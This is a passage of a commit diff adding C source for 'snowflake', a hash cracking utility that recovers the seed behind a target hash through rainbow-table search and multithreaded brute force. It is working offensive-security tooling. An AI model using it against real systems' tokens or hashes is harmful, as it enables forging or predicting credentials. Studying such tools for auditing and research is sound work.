+ do {
+ if (regenerateChain(table[index++].startpoint, chainLen, hashFunc,
+ hashLen, targetHash, seed))
+ return 1;
+ } while (table[index].endpoint == r);
+
+
+ }
+ return 0;
+}
+
+
+int parseTablename(char *tablename, char *hashFuncName, unsigned int *chainNum,
+ unsigned int *chainLen)
+{
+ char *copyTablename = strdup(tablename); //FIXME: memory leak
+ char *tableBasename = basename(copyTablename);
+ char *dotPos;
+ unsigned int index;
+
+
+ dotPos = strchr(tableBasename, '.');
+ if (dotPos == NULL)
+ return -1;
+
+ *dotPos = ' '; // hack to make sscanf parse the filename correctly
+ sscanf(tableBasename, "%s %u.%u.%u.rt", hashFuncName, chainNum, chainLen, &index);
+ *dotPos = '.';
+
+ return 1;
+}
+
+/*
+ * makes all the necessary actions to parse and search the rainbow table
+ * pointed by tableName. If a correct seed is found then a positive value
+ * is returned and the seed is stored in the integer pointed by the
+ * seed pointer.
+ */
+int
+searchRainbowTable(char *tableName, char *targetHash, unsigned int *seed)
+{
+
+ char hashFuncName[MAX_FUNC_NAME];
+ unsigned int chainNum, chainLen, hashLen;
+
+ // Parse the table name to extract the table information
+ if (parseTablename(tableName, hashFuncName, &chainNum, &chainLen) < 0)
+ return -1;
+
+ // Obtain a pointer to the hash function
+ char *(*hashFunc)(unsigned int, char *) = resolveHashFunc(hashFuncName,
+ &hashLen);
+ if (hashFunc == NULL)
+ return -1;
+
+
+ struct stat sb;
+ int fd = open(tableName, O_RDONLY);
+ if (fd < 0)
+ return -1;
+
+
+ if (fstat (fd, &sb) < 0) {
+ return -1;
+ }
+
+ // We directly mmap the table in memory. Since the tables are small
+ // this give us an easy way to work directly with an array rather
+ // than getting into complex and costly file operations.
+ chain *table = (chain *) mmap (0, sb.st_size,
+ PROT_READ, MAP_SHARED, fd, 0);
+ if (table == MAP_FAILED) {
+ perror ("mmap");
+ return -1;
+ }
+
+ // Search the array of the table for the target hash.
+ int found = searchHashInMemory(table, chainNum, chainLen,
+ hashFunc, hashLen,
+ targetHash, seed);
+
+
+ close(fd);
+ munmap(table, sb.st_size);
+ return found;
+}
+
+
+///////////////////////////////////////////////////////////////////////////////
+// Functions that implement the exhaustive search cracker.
+
+
+
+typedef struct {
+ char *hash;
+ unsigned int hashLen;
+ unsigned int start,end;
+ unsigned int *seed;
+ unsigned short int *found;
+ char *(*hashFunc)(unsigned int, char *);
+} WorkerOptions;
+
+
+
+/*
+ * A thread worker. Searches a given range for the supplied hash value
+ * and halts when that value is found or the range is exhausted.
+ */
+void *
+seedRecoveryWorker(void *arg)
+{
+ WorkerOptions *opt = (WorkerOptions *) arg;
+ char nh[opt->hashLen];
+ unsigned int i;
+
+ for (i = opt->start; i <= opt->end; i++) {
+ if (!memcmp(opt->hash, opt->hashFunc(i, nh), opt->hashLen)) {
+ *(opt->found) = 1;
+ *(opt->seed) = i;
+ }
+
+ if (*(opt->found))
+ break;
+ }
+ return NULL;
+}
+
+
+
+int
+searchHashOnline(char *hashFuncName, char *targetHash,
+ unsigned int *seed)
+{
+
+ unsigned int start = 0, end = MAX_SEED;
+ unsigned short int found = 0;
+ unsigned int threads, i, hashLen;
+ long conf = sysconf(_SC_NPROCESSORS_ONLN);
+
+ // Thread number is set to the number of active processors on the system
+ if (conf <= 0)
+ threads = 1;
+ else
+ threads = conf;
+
+ pthread_t *tid = (pthread_t *) malloc(threads * sizeof(pthread_t));
+ WorkerOptions *opt = (WorkerOptions *) malloc(threads * sizeof(WorkerOptions));
+ unsigned int range = MAX_SEED / threads;
+ char *(*hashFunc)(unsigned int, char *);
+
+ hashFunc = resolveHashFunc(hashFuncName, &hashLen);
+ if (hashFunc == NULL)
+ return 0;
+
+ //create threads...
+ for (i = 0; i < threads; i ++) {
+ opt[i].start = start;
+ opt[i].end = (i == threads - 1)? end : (start + range);
+ opt[i].found = &found;
+ opt[i].hashLen = hashLen;
+ opt[i].seed = seed;
+ opt[i].hash = targetHash;
+ opt[i].hashFunc = hashFunc;
+
+ pthread_create(&tid[i], NULL, seedRecoveryWorker, (void *)&opt[i]);
+
+ start += range;
+ }
+
+ for (i = 0; i < threads; i ++)
+ pthread_join(tid[i], NULL);
+
+ free(opt);
+ free(tid);
+
+ return found;
+}
+
+
+/////////////////////////////////////////////////////////////////////////
+// Main function used by the standalone version of the tool
+
+#ifndef __CRACK_LIB__
+
+#define GENERATE_HASH_TABLES "generate"
+#define SEARCH_HASH_TABLES "search"
+#define CRACK_HASH "crack"
+
+void
+bytesFromHash(char bytes[], char *hash)
+{
+ char num[3];
+ unsigned int hexnum;
+ int i,j;
+
+ memset(bytes, '\0', MAX_HASH_SIZE);
+ memset(num, '\0', 3);
+ for (i = j = 0; i < 32; i += 2){
+ num[0] = hash[i];
+ num[1] = hash[i + 1];
+ sscanf(num,"%x",&hexnum);
+ bytes[j++] = hexnum;
+ }
+ return;
+}
+
+void usage()
+{
+ fprintf(stderr,
+ "snowflake: hash cracking utility.\n"
+ "Usage: snowflake [mode] [options]\n"
+ "Modes:\n"
+ "\t generate <chain num> <chain len> <table num> <hash function>\n"
+ "\t search <rainbow table> <target hash>\n"
+ "\t crack <hash function> <target hash>\n\n");
+}
+
+
+int main(int argc, char *argv[])
+{
+ unsigned int seed;
+ int found = 0;
+ char bytes[MAX_HASH_SIZE];
+
+ if (argc < 2) {
+ usage();
+ return 0;
+ }
+
+ if (!strcmp(GENERATE_HASH_TABLES, argv[1])) {
+ if (argc != 6)
+ goto invalid_args;
+ unsigned int i, tnum = atoi(argv[4]);
+ for (i = 0; i < tnum; i ++)
+ generateRainbowTable(atoi(argv[2]), atoi(argv[3]), i, argv[5]);
+ return 0;
+ } else if (!strcmp(SEARCH_HASH_TABLES, argv[1])) {
+ if (argc != 4)
+ goto invalid_args;
+ bytesFromHash(bytes, argv[3]);
+ found = searchRainbowTable(argv[2], bytes, &seed);
+ } else if (!strcmp(argv[1], CRACK_HASH)){
+ if (argc != 4)
+ goto invalid_args;
+ bytesFromHash(bytes, argv[3]);
+ found = searchHashOnline(argv[2], bytes, &seed);
+ } else {
+ usage();
+ fprintf(stderr, "\n[-] Invalid mode of operation.\n");
+ return 1;
+ }
+
+ if (found > 0)
+ fprintf(stdout, "[+] Seed found: %u\n", seed);
+ else if (!found)
+ fprintf(stdout, "[-] Seed not found :-(\n");
+ else
+ fprintf(stderr, "[-] An error occured.\n");
+
+ return 0;
+ invalid_args:
+ usage();
+ fprintf(stderr, "\n[-] Invalid number of arguments\n");
+ return 1;
+}
+
+#endif

0 comments on commit 44de3db

Please sign in to comment.
Something went wrong with that request. Please try again.